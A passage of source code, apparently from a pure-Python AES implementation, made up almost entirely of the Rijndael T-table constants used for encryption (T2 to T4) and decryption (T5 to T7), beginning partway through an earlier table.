0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]

    # Transformations for decryption
    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
